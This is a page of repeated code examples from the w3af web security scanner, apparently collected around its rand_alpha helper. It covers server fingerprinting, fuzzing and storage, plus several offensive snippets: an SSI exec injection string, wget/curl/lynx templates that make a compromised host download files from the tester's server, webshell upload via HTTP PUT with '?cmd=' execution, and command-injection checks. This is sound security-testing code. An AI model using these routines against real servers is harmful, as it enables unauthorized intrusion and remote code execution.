Exemple #1
0
    def _fingerprint_URLScan(self, fuzzable_request):
        '''
        Try to verify if URLScan is installed or not.
        '''
        # detect using GET
        # Get the original response
        orig_response = self._uri_opener.GET(fuzzable_request.get_url(),
                                             cache=True)
        if orig_response.get_code() != 404:
            # Now add the if header and try again
            headers = fuzzable_request.get_headers()
            headers['If'] = rand_alpha(8)
            if_response = self._uri_opener.GET(fuzzable_request.get_url(),
                                               headers=headers,
                                               cache=True)
            headers = fuzzable_request.get_headers()
            headers['Translate'] = rand_alpha(8)
            translate_response = self._uri_opener.GET(
                fuzzable_request.get_url(), headers=headers, cache=True)

            headers = fuzzable_request.get_headers()
            headers['Lock-Token'] = rand_alpha(8)
            lock_response = self._uri_opener.GET(fuzzable_request.get_url(),
                                                 headers=headers,
                                                 cache=True)

            headers = fuzzable_request.get_headers()
            headers['Transfer-Encoding'] = rand_alpha(8)
            transfer_enc_response = self._uri_opener.GET(
                fuzzable_request.get_url(), headers=headers, cache=True)

            if if_response.get_code() == 404 or translate_response.get_code() == 404 or\
                    lock_response.get_code() == 404 or transfer_enc_response.get_code() == 404:
                self._report_finding('URLScan', lock_response)
Exemple #2
0
    def _get_ssi_strings(self):
        '''
        This method returns a list of server sides to try to include.

        :return: A string, see above.
        '''
        yield '<!--#exec cmd="echo -n %s;echo -n %s" -->' % (rand_alpha(5),
                                                             rand_alpha(5))
Exemple #3
0
    def _get_ssi_strings(self):
        '''
        This method returns a list of server sides to try to include.

        :return: A string, see above.
        '''
        yield '<!--#exec cmd="echo -n %s;echo -n %s" -->' % (rand_alpha(5),
                                                             rand_alpha(5))
Exemple #4
0
    def audit(self, freq, orig_response):
        '''
        Searches for file upload vulns using a POST to author.dll.

        :param freq: A FuzzableRequest
        '''
        domain_path = freq.get_url().get_domain_path()

        if kb.kb.get(self, 'frontpage'):
            # Nothing to do, I have found vuln(s) and I should stop on first
            msg = 'Not verifying if I can upload files to: "%s" using'\
                  ' author.dll. Because I already found a vulnerability.'
            om.out.debug(msg)
            return

        # I haven't found any vulns yet, OR i'm trying to find every
        # directory where I can write a file.
        if domain_path not in self._already_tested:
            self._already_tested.add(domain_path)

            # Find a file that doesn't exist and then try to upload it
            for _ in xrange(3):
                rand_file = rand_alpha(5) + '.html'
                rand_path_file = domain_path.url_join(rand_file)
                res = self._uri_opener.GET(rand_path_file)
                if is_404(res):
                    upload_id = self._upload_file(domain_path, rand_file)
                    self._verify_upload(domain_path, rand_file, upload_id)
                    break
            else:
                msg = 'frontpage plugin failed to find a 404 page. This is'\
                      ' mostly because of an error in 404 page detection.'
                om.out.error(msg)
Exemple #5
0
    def transfer(self, data_str, destination):
        '''
        This method is used to transfer the data_str from w3af to the compromised server.
        '''
        if not self._command:
            self.can_transfer()

        commandTemplates = {}
        commandTemplates['wget'] = 'wget http://%s:%s/%s -O %s'
        commandTemplates['lynx'] = 'lynx -source http://%s:%s/%s > %s'
        commandTemplates['curl'] = 'curl http://%s:%s/%s > %s'

        # Create the file
        filename = rand_alpha(10)
        file_path = get_temp_dir() + os.path.sep + filename
        f = file(file_path, 'w')
        f.write(data_str)
        f.close()

        # Start a web server on the inbound port and create the file that
        # will be fetched by the compromised host
        webserver.start_webserver(cf.cf.get('local_ip_address'),
                                  self._inbound_port, get_temp_dir())

        commandToRun = commandTemplates[self._command] % \
            (cf.cf.get('local_ip_address'), self._inbound_port,
             filename, destination)
        self._exec_method(commandToRun)

        os.remove(file_path)

        return self.verify_upload(data_str, destination)
    def transfer(self, data_str, destination):
        '''
        This method is used to transfer the data_str from w3af to the compromised server.
        '''
        if not self._command:
            self.can_transfer()

        commandTemplates = {}
        commandTemplates['wget'] = 'wget http://%s:%s/%s -O %s'
        commandTemplates['lynx'] = 'lynx -source http://%s:%s/%s > %s'
        commandTemplates['curl'] = 'curl http://%s:%s/%s > %s'

        # Create the file
        filename = rand_alpha(10)
        file_path = get_temp_dir() + os.path.sep + filename
        f = file(file_path, 'w')
        f.write(data_str)
        f.close()

        # Start a web server on the inbound port and create the file that
        # will be fetched by the compromised host
        webserver.start_webserver(cf.cf.get('local_ip_address'),
                                  self._inbound_port,
                                  get_temp_dir())

        commandToRun = commandTemplates[self._command] % \
            (cf.cf.get('local_ip_address'), self._inbound_port,
             filename, destination)
        self._exec_method(commandToRun)

        os.remove(file_path)

        return self.verify_upload(data_str, destination)
    def create_mutants(freq, mutant_str_list, fuzzable_param_list,
                       append, fuzzer_config):
        '''
        This is a very important method which is called in order to create
        mutants. Usually called from fuzzer.py module.
        '''
        if not 'fuzz_form_files' in fuzzer_config:
            return []

        if not isinstance(freq, HTTPPostDataRequest):
            return []

        file_vars = freq.get_file_vars()
        if not file_vars:
            return []

        fake_file_objs = []
        ext = fuzzer_config['fuzzed_files_extension']

        for mutant_str in mutant_str_list:
            if isinstance(mutant_str, basestring):
                # I have to create the NamedStringIO with a "name".
                # This is needed for MultipartPostHandler
                fname = "%s.%s" % (rand_alpha(7), ext)
                str_file = NamedStringIO(mutant_str, name=fname)
                fake_file_objs.append(str_file)

        res = Mutant._create_mutants_worker(freq, FileContentMutant,
                                            fake_file_objs,
                                            file_vars,
                                            append, fuzzer_config)
        return res
Exemple #8
0
    def create_mutants(freq, mutant_str_list, fuzzable_param_list, append,
                       fuzzer_config):
        '''
        This is a very important method which is called in order to create
        mutants. Usually called from fuzzer.py module.
        '''
        if not 'fuzz_form_files' in fuzzer_config:
            return []

        if not isinstance(freq, HTTPPostDataRequest):
            return []

        file_vars = freq.get_file_vars()
        if not file_vars:
            return []

        fake_file_objs = []
        ext = fuzzer_config['fuzzed_files_extension']

        for mutant_str in mutant_str_list:
            if isinstance(mutant_str, basestring):
                # I have to create the NamedStringIO with a "name".
                # This is needed for MultipartPostHandler
                fname = "%s.%s" % (rand_alpha(7), ext)
                str_file = NamedStringIO(mutant_str, name=fname)
                fake_file_objs.append(str_file)

        res = Mutant._create_mutants_worker(freq, FileContentMutant,
                                            fake_file_objs, file_vars, append,
                                            fuzzer_config)
        return res
Exemple #9
0
    def audit(self, freq, orig_response):
        '''
        Searches for file upload vulns using a POST to author.dll.

        :param freq: A FuzzableRequest
        '''
        domain_path = freq.get_url().get_domain_path()

        if kb.kb.get(self, 'frontpage'):
            # Nothing to do, I have found vuln(s) and I should stop on first
            msg = 'Not verifying if I can upload files to: "%s" using'\
                  ' author.dll. Because I already found a vulnerability.'
            om.out.debug(msg)
            return

        # I haven't found any vulns yet, OR i'm trying to find every
        # directory where I can write a file.
        if domain_path not in self._already_tested:
            self._already_tested.add(domain_path)

            # Find a file that doesn't exist and then try to upload it
            for _ in xrange(3):
                rand_file = rand_alpha(5) + '.html'
                rand_path_file = domain_path.url_join(rand_file)
                res = self._uri_opener.GET(rand_path_file)
                if is_404(res):
                    upload_id = self._upload_file(domain_path, rand_file)
                    self._verify_upload(domain_path, rand_file, upload_id)
                    break
            else:
                msg = 'frontpage plugin failed to find a 404 page. This is'\
                      ' mostly because of an error in 404 page detection.'
                om.out.error(msg)
Exemple #10
0
 def can_exploit(self, opener):
     rand = rand_alpha(8)
     cmd = self.generate_command('echo %s|rev' % rand)
     
     # For some reason that I don't care about, rev adds a \n to the string
     # it reverses, even when I run the echo with "-n".
     expected_output = '%s\n' % rand[::-1]
     
     http_response = self.send(cmd, opener)
     return expected_output == self.extract_result(http_response)
Exemple #11
0
    def can_exploit(self, opener):
        rand = rand_alpha(8)
        cmd = self.generate_command('echo %s|rev' % rand)

        # For some reason that I don't care about, rev adds a \n to the string
        # it reverses, even when I run the echo with "-n".
        expected_output = '%s\n' % rand[::-1]

        http_response = self.send(cmd, opener)
        return expected_output == self.extract_result(http_response)
Exemple #12
0
    def __init__(self):
        AuditPlugin.__init__(self)

        # Create some random strings, which the plugin will use.
        # for the fuzz_with_echo
        self._rnd = rand_alpha(5)
        self._expected_result = self._rnd * self.PRINT_REPEATS

        # User configured parameters
        self._use_time_delay = True
        self._use_echo = True
Exemple #13
0
    def _PUT(self, domain_path):
        '''
        Tests PUT method.
        '''
        # upload
        url = domain_path.url_join(rand_alpha(5))
        rnd_content = rand_alnum(6)
        put_response = self._uri_opener.PUT(url, data=rnd_content)

        # check if uploaded
        res = self._uri_opener.GET(url, cache=True)
        if res.get_body() == rnd_content:
            msg = 'File upload with HTTP PUT method was found at resource:' \
                  ' "%s". A test file was uploaded to: "%s".'
            msg = msg % (domain_path, res.get_url())

            v = Vuln('Insecure DAV configuration', msg, severity.HIGH,
                     [put_response.id, res.id], self.get_name())

            v.set_url(url)
            v.set_method('PUT')

            self.kb_append(self, 'dav', v)

        # Report some common errors
        elif put_response.get_code() == 500:
            msg = 'DAV seems to be incorrectly configured. The web server' \
                  ' answered with a 500 error code. In most cases, this means'\
                  ' that the DAV extension failed in some way. This error was'\
                  ' found at: "%s".' % put_response.get_url()

            i = Info('DAV incorrect configuration', msg, res.id,
                     self.get_name())

            i.set_url(url)
            i.set_method('PUT')

            self.kb_append(self, 'dav', i)

        # Report some common errors
        elif put_response.get_code() == 403:
            msg = 'DAV seems to be correctly configured and allowing you to'\
                  ' use the PUT method but the directory does not have the'\
                  ' correct permissions that would allow the web server to'\
                  ' write to it. This error was found at: "%s".'
            msg = msg % put_response.get_url()

            i = Info('DAV incorrect configuration', msg,
                     [put_response.id, res.id], self.get_name())

            i.set_url(url)
            i.set_method('PUT')

            self.kb_append(self, 'dav', i)
Exemple #14
0
    def __init__(self):
        AuditPlugin.__init__(self)

        # Create some random strings, which the plugin will use.
        # for the fuzz_with_echo
        self._rnd = rand_alpha(5)
        self._expected_result = self._rnd * self.PRINT_REPEATS

        # User configured parameters
        self._use_time_delay = True
        self._use_echo = True
Exemple #15
0
    def _PUT(self, domain_path):
        '''
        Tests PUT method.
        '''
        # upload
        url = domain_path.url_join(rand_alpha(5))
        rnd_content = rand_alnum(6)
        put_response = self._uri_opener.PUT(url, data=rnd_content)

        # check if uploaded
        res = self._uri_opener.GET(url, cache=True)
        if res.get_body() == rnd_content:
            msg = 'File upload with HTTP PUT method was found at resource:' \
                  ' "%s". A test file was uploaded to: "%s".'
            msg = msg % (domain_path, res.get_url())
            
            v = Vuln('Insecure DAV configuration', msg, severity.HIGH,
                     [put_response.id, res.id], self.get_name())

            v.set_url(url)
            v.set_method('PUT')
            
            self.kb_append(self, 'dav', v)

        # Report some common errors
        elif put_response.get_code() == 500:
            msg = 'DAV seems to be incorrectly configured. The web server' \
                  ' answered with a 500 error code. In most cases, this means'\
                  ' that the DAV extension failed in some way. This error was'\
                  ' found at: "%s".' % put_response.get_url()

            i = Info('DAV incorrect configuration', msg, res.id, self.get_name())

            i.set_url(url)
            i.set_method('PUT')
            
            self.kb_append(self, 'dav', i)

        # Report some common errors
        elif put_response.get_code() == 403:
            msg = 'DAV seems to be correctly configured and allowing you to'\
                  ' use the PUT method but the directory does not have the'\
                  ' correct permissions that would allow the web server to'\
                  ' write to it. This error was found at: "%s".'
            msg = msg % put_response.get_url()
            
            i = Info('DAV incorrect configuration', msg,
                     [put_response.id, res.id], self.get_name())

            i.set_url(url)
            i.set_method('PUT')
            
            self.kb_append(self, 'dav', i)
Exemple #16
0
def get_file_from_template(extension):
    file_name = "%s.%s" % (rand_alpha(7), extension)

    template_file = os.path.join(TEMPLATE_DIR, 'template.%s' % extension)
    if os.path.exists(template_file):
        file_content = file(template_file).read()
        success = True
    else:
        file_content = rand_alnum(64)
        success = False

    return success, file_content, file_name
Exemple #17
0
    def can_exploit(self, opener):
        # Define a test command:
        rand = rand_alpha(8)
        expected_output = rand + '\n'
        
        if self._remote_os == 'windows':
            command = self.generate_command('echo %s' % rand)
        else:
            command = self.generate_command('/bin/echo %s' % rand)

        # Lets define the result header and footer.
        http_response = self.send(command, opener)
        return self._define_exact_cut(http_response.get_body(), expected_output)
Exemple #18
0
 def _fingerprint_SecureIIS(self, fuzzable_request):
     '''
     Try to verify if SecureIIS is installed or not.
     '''
     # And now a final check for SecureIIS
     headers = fuzzable_request.get_headers()
     headers['Transfer-Encoding'] = rand_alpha(1024 + 1)
     try:
         lock_response2 = self._uri_opener.GET(fuzzable_request.get_url(),
                                               headers=headers, cache=True)
     except w3afException, w3:
         om.out.debug(
             'Failed to identify secure IIS, exception: ' + str(w3))
Exemple #19
0
    def _fingerprint_URLScan(self, fuzzable_request):
        '''
        Try to verify if URLScan is installed or not.
        '''
        # detect using GET
        # Get the original response
        orig_response = self._uri_opener.GET(
            fuzzable_request.get_url(), cache=True)
        if orig_response.get_code() != 404:
            # Now add the if header and try again
            headers = fuzzable_request.get_headers()
            headers['If'] = rand_alpha(8)
            if_response = self._uri_opener.GET(fuzzable_request.get_url(),
                                               headers=headers,
                                               cache=True)
            headers = fuzzable_request.get_headers()
            headers['Translate'] = rand_alpha(8)
            translate_response = self._uri_opener.GET(
                fuzzable_request.get_url(),
                headers=headers,
                cache=True)

            headers = fuzzable_request.get_headers()
            headers['Lock-Token'] = rand_alpha(8)
            lock_response = self._uri_opener.GET(fuzzable_request.get_url(),
                                                 headers=headers,
                                                 cache=True)

            headers = fuzzable_request.get_headers()
            headers['Transfer-Encoding'] = rand_alpha(8)
            transfer_enc_response = self._uri_opener.GET(
                fuzzable_request.get_url(),
                headers=headers,
                cache=True)

            if if_response.get_code() == 404 or translate_response.get_code() == 404 or\
                    lock_response.get_code() == 404 or transfer_enc_response.get_code() == 404:
                self._report_finding('URLScan', lock_response)
Exemple #20
0
 def _fingerprint_SecureIIS(self, fuzzable_request):
     '''
     Try to verify if SecureIIS is installed or not.
     '''
     # And now a final check for SecureIIS
     headers = fuzzable_request.get_headers()
     headers['Transfer-Encoding'] = rand_alpha(1024 + 1)
     try:
         lock_response2 = self._uri_opener.GET(fuzzable_request.get_url(),
                                               headers=headers,
                                               cache=True)
     except w3afException, w3:
         om.out.debug('Failed to identify secure IIS, exception: ' +
                      str(w3))
Exemple #21
0
    def can_exploit(self, opener):
        # Define a test command:
        rand = rand_alpha(8)
        expected_output = rand + '\n'

        if self._remote_os == 'windows':
            command = self.generate_command('echo %s' % rand)
        else:
            command = self.generate_command('/bin/echo %s' % rand)

        # Lets define the result header and footer.
        http_response = self.send(command, opener)
        return self._define_exact_cut(http_response.get_body(),
                                      expected_output)
Exemple #22
0
    def __init__(self):
        self.db = get_default_temp_db_instance()

        self.table_name = rand_alpha(30)

        # Create table
        # DO NOT add the AUTOINCREMENT flag to the table creation since that
        # will break __getitem__ when an item is removed, see:
        #     http://www.sqlite.org/faq.html#q1
        columns = [('index_', 'INTEGER'), ('key', 'BLOB'), ('value', 'BLOB')]
        pks = ['index_']

        self.db.create_table(self.table_name, columns, pks)
        self.db.create_index(self.table_name, ['key'])
        self.db.commit()
Exemple #23
0
    def _verify_vuln(self, vuln_obj):
        '''
        This command verifies a vuln. This is really hard work! :P

        :return : True if vuln can be exploited.
        '''
        # Create the shell
        filename = rand_alpha(7)
        extension = vuln_obj.get_url().get_extension()

        # I get a list of tuples with file_content and extension to use
        shell_list = shell_handler.get_webshells(extension)

        for file_content, real_extension in shell_list:
            if extension == '':
                extension = real_extension
            om.out.debug('Uploading shell with extension: "%s".' % extension)

            # Upload the shell
            fname = '%s.%s' % (filename, extension)
            url_to_upload = vuln_obj.get_url().url_join(fname)

            om.out.debug(
                'Uploading file %s using PUT method.' % url_to_upload)
            self._uri_opener.PUT(url_to_upload, data=file_content)

            # Verify if I can execute commands
            # All w3af shells, when invoked with a blank command, return a
            # specific value in the response:
            # shell_handler.SHELL_IDENTIFIER
            exploit_url = URL(url_to_upload + '?cmd=')
            response = self._uri_opener.GET(exploit_url)

            if shell_handler.SHELL_IDENTIFIER in response.get_body():
                msg = 'The uploaded shell returned the SHELL_IDENTIFIER, which'\
                      ' verifies that the file was uploaded and is being executed.'
                om.out.debug(msg)
                self._exploit_url = exploit_url
                return True
            else:
                msg = 'The uploaded shell with extension: "%s" did NOT return'\
                      ' the SHELL_IDENTIFIER, which means that the file was not'\
                      ' uploaded to the remote server or the code is not being'\
                      ' run. The returned body was: "%s".' % (extension,
                                                              response.get_body())
                om.out.debug(msg)
                extension = ''
Exemple #24
0
    def _verify_vuln(self, vuln_obj):
        '''
        This command verifies a vuln. This is really hard work! :P

        :return : True if vuln can be exploited.
        '''
        # Create the shell
        filename = rand_alpha(7)
        extension = vuln_obj.get_url().get_extension()

        # I get a list of tuples with file_content and extension to use
        shell_list = shell_handler.get_webshells(extension)

        for file_content, real_extension in shell_list:
            if extension == '':
                extension = real_extension
            om.out.debug('Uploading shell with extension: "%s".' % extension)

            # Upload the shell
            fname = '%s.%s' % (filename, extension)
            url_to_upload = vuln_obj.get_url().url_join(fname)

            om.out.debug('Uploading file %s using PUT method.' % url_to_upload)
            self._uri_opener.PUT(url_to_upload, data=file_content)

            # Verify if I can execute commands
            # All w3af shells, when invoked with a blank command, return a
            # specific value in the response:
            # shell_handler.SHELL_IDENTIFIER
            exploit_url = URL(url_to_upload + '?cmd=')
            response = self._uri_opener.GET(exploit_url)

            if shell_handler.SHELL_IDENTIFIER in response.get_body():
                msg = 'The uploaded shell returned the SHELL_IDENTIFIER, which'\
                      ' verifies that the file was uploaded and is being executed.'
                om.out.debug(msg)
                self._exploit_url = exploit_url
                return True
            else:
                msg = 'The uploaded shell with extension: "%s" did NOT return'\
                      ' the SHELL_IDENTIFIER, which means that the file was not'\
                      ' uploaded to the remote server or the code is not being'\
                      ' run. The returned body was: "%s".' % (extension,
                                                              response.get_body())
                om.out.debug(msg)
                extension = ''
Exemple #25
0
    def __init__(self):
        self.db = get_default_temp_db_instance()

        self.table_name = rand_alpha(30)

        # Create table
        # DO NOT add the AUTOINCREMENT flag to the table creation since that
        # will break __getitem__ when an item is removed, see:
        #     http://www.sqlite.org/faq.html#q1
        columns = [('index_', 'INTEGER'),
                   ('key', 'BLOB'),
                   ('value', 'BLOB')]
        pks = ['index_']
        
        self.db.create_table(self.table_name, columns, pks)
        self.db.create_index(self.table_name, ['key'])
        self.db.commit()
Exemple #26
0
    def test_rand_alpha(self):
        x = rand_alpha(length=10)
        self.assertEqual(len(x), 10)

        x = rand_alpha(length=20)
        self.assertEqual(len(x), 20)

        x = rand_alpha(length=5)
        y = rand_alpha(length=5)
        z = rand_alpha(length=5)
        w = rand_alpha(length=5)
        self.assertTrue(x != y != z != w)
Exemple #27
0
 def test_rand_alpha(self):
     x = rand_alpha( length=10 )
     self.assertEqual(len(x), 10)
     
     x = rand_alpha( length=20 )
     self.assertEqual(len(x), 20)
     
     x = rand_alpha( length=5 )
     y = rand_alpha( length=5 )
     z = rand_alpha( length=5 )
     w = rand_alpha( length=5 )
     self.assertTrue(x != y != z != w)
     
Exemple #28
0
    def _check_existance(self, original_response, mutant):
        '''
        Actually check if the mutated URL exists.

        :return: None, all important data is put() to self.output_queue
        '''
        response = self._uri_opener.send_mutant(mutant)
        
        if not is_404(response) and \
        relative_distance_lt(original_response.body, response.body, 0.85):
            
            # Verify against something random
            rand = rand_alpha()
            rand_mutant = mutant.copy()
            rand_mutant.set_mod_value(rand)
            rand_response = self._uri_opener.send_mutant(rand_mutant)
            
            if relative_distance_lt(response.body, rand_response.body, 0.85):
                
                for fr in self._create_fuzzable_requests(response):
                    self.output_queue.put(fr)
Exemple #29
0
    def _check_existance(self, original_response, mutant):
        '''
        Actually check if the mutated URL exists.

        :return: None, all important data is put() to self.output_queue
        '''
        response = self._uri_opener.send_mutant(mutant)

        if not is_404(response) and \
        relative_distance_lt(original_response.body, response.body, 0.85):

            # Verify against something random
            rand = rand_alpha()
            rand_mutant = mutant.copy()
            rand_mutant.set_mod_value(rand)
            rand_response = self._uri_opener.send_mutant(rand_mutant)

            if relative_distance_lt(response.body, rand_response.body, 0.85):

                for fr in self._create_fuzzable_requests(response):
                    self.output_queue.put(fr)
Exemple #30
0
    def __init__(self):
        super(DBKnowledgeBase, self).__init__()

        self.urls = DiskSet()
        self.fuzzable_requests = DiskSet()

        self.db = get_default_persistent_db_instance()

        columns = [('location_a', 'TEXT'), ('location_b', 'TEXT'),
                   ('uniq_id', 'TEXT'), ('pickle', 'BLOB')]

        self.table_name = rand_alpha(30)
        self.db.create_table(self.table_name, columns)
        self.db.create_index(self.table_name, ['location_a', 'location_b'])
        self.db.create_index(self.table_name, [
            'uniq_id',
        ])
        self.db.commit()

        # TODO: Why doesn't this work with a WeakValueDictionary?
        self.observers = {}  #WeakValueDictionary()
        self.type_observers = {}  #WeakValueDictionary()
        self._observer_id = 0
Exemple #31
0
    def __init__(self):
        super(DBKnowledgeBase, self).__init__()
        
        self.urls = DiskSet()
        self.fuzzable_requests = DiskSet()
        
        self.db = get_default_persistent_db_instance()

        columns = [('location_a', 'TEXT'),
                   ('location_b', 'TEXT'),
                   ('uniq_id', 'TEXT'),
                   ('pickle', 'BLOB')]

        self.table_name = rand_alpha(30)
        self.db.create_table(self.table_name, columns)
        self.db.create_index(self.table_name, ['location_a', 'location_b'])
        self.db.create_index(self.table_name, ['uniq_id',])
        self.db.commit()
        
        # TODO: Why doesn't this work with a WeakValueDictionary?
        self.observers = {} #WeakValueDictionary()
        self.type_observers = {} #WeakValueDictionary()
        self._observer_id = 0
Exemple #32
0
class buffer_overflow(AuditPlugin):
    '''
    Find buffer overflow vulnerabilities.
    :author: Andres Riancho ([email protected])
    '''

    OVERFLOW_ERRORS = (
        '*** stack smashing detected ***:',
        'Backtrace:',
        'Memory map:',
        
        # Note that the lack of commas after the strings is intentional
        '<html><head>\n<title>500 Internal Server Error</title>\n'
        '</head><body>\n<h1>'
        'Internal Server Error</h1>'
    )

    _multi_in = multi_in(OVERFLOW_ERRORS)

    # TODO: if lengths = [ 65 , 257 , 513 , 1025, 2049, 4097, 8000 ]
    # then i get a BadStatusLine exception from urllib2, is seems to be an
    # internal error. Tested against tomcat 5.5.7
    BUFFER_TESTS = [rand_alpha(l) for l in [65, 257, 513, 1025, 2049]]

    def __init__(self):
        '''
        Some notes:
            On Apache, when an overflow happends on a cgic script, this is written
            to the log:
                *** stack smashing detected ***: /var/www/.../buffer_overflow.cgi terminated,
                referer: http://localhost/w3af/bufferOverflow/buffer_overflow.cgi
                Premature end of script headers: buffer_overflow.cgi, referer: ...

            On Apache, when an overflow happends on a cgic script, this is
            returned to the user:
                <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
                <html><head>
                <title>500 Internal Server Error</title>
                </head><body>
                <h1>Internal Server Error</h1>
                <p>The server encountered an internal error or
                misconfiguration and was unable to complete
                your request.</p>
                <p>Please contact the server administrator,
                 webmaster@localhost and inform them of the time the error occurred,
                and anything you might have done that may have
                caused the error.</p>
                <p>More information about this error may be available
                in the server error log.</p>
                <hr>
                <address>Apache/2.0.55 (Ubuntu) mod_python/3.2.8 Python/2.4.4c1
                PHP/5.1.6 Server at localhost Port 80</address>
                </body></html>

            Note that this is an Apache error 500, not the more common PHP error 500.
        '''
        AuditPlugin.__init__(self)

    def audit(self, freq, orig_response):
        '''
        Tests an URL for buffer overflow vulnerabilities.

        :param freq: A FuzzableRequest
        '''
        mutants = create_mutants(freq, self.BUFFER_TESTS,
                                 orig_resp=orig_response)

        self.worker_pool.map(self._send_request, mutants)

    def _send_request(self, mutant):
        '''
        Sends a mutant to the remote web server. I wrap urllib's _send_mutant
        just to handle errors in a different way.
        '''
        try:
            response = self._uri_opener.send_mutant(mutant)
        except (w3afException, w3afMustStopException):
            desc = 'A potential (most probably a false positive than a bug)' \
                   ' buffer-overflow was found when requesting: "%s", using' \
                   ' HTTP method %s. The data sent was: "%s".'
            desc = desc % (mutant.get_url(), mutant.get_method(), mutant.get_dc())

            i = Info.from_mutant('Potential buffer overflow vulnerability',
                                 desc, response.ids, self.get_name(), mutant)
            
            self.kb_append_uniq(self, 'buffer_overflow', i)
        else:
            self._analyze_result(mutant, response)

    def _analyze_result(self, mutant, response):
        '''
        Analyze results of the _send_mutant method.
        '''
        for error_str in self._multi_in.query(response.body):
            # And not in the original response
            if error_str not in mutant.get_original_response_body() and \
            self._has_no_bug(mutant):
                desc = 'A potential buffer overflow (accurate detection is' \
                       ' hard...) was found at: %s' % mutant.found_at()
                      
                v = Vuln.from_mutant('Buffer overflow vulnerability', desc,
                                     severity.MEDIUM, response.id,
                                     self.get_name(), mutant)
                v.add_to_highlight(error_str)
                
                self.kb_append_uniq(self, 'buffer_overflow', v)

    def get_plugin_deps(self):
        '''
        :return: A list with the names of the plugins that should be run before the
        current one.
        '''
        return ['grep.error_500']

    def get_long_desc(self):
        '''
        :return: A DETAILED description of the plugin functions and features.
        '''
        return '''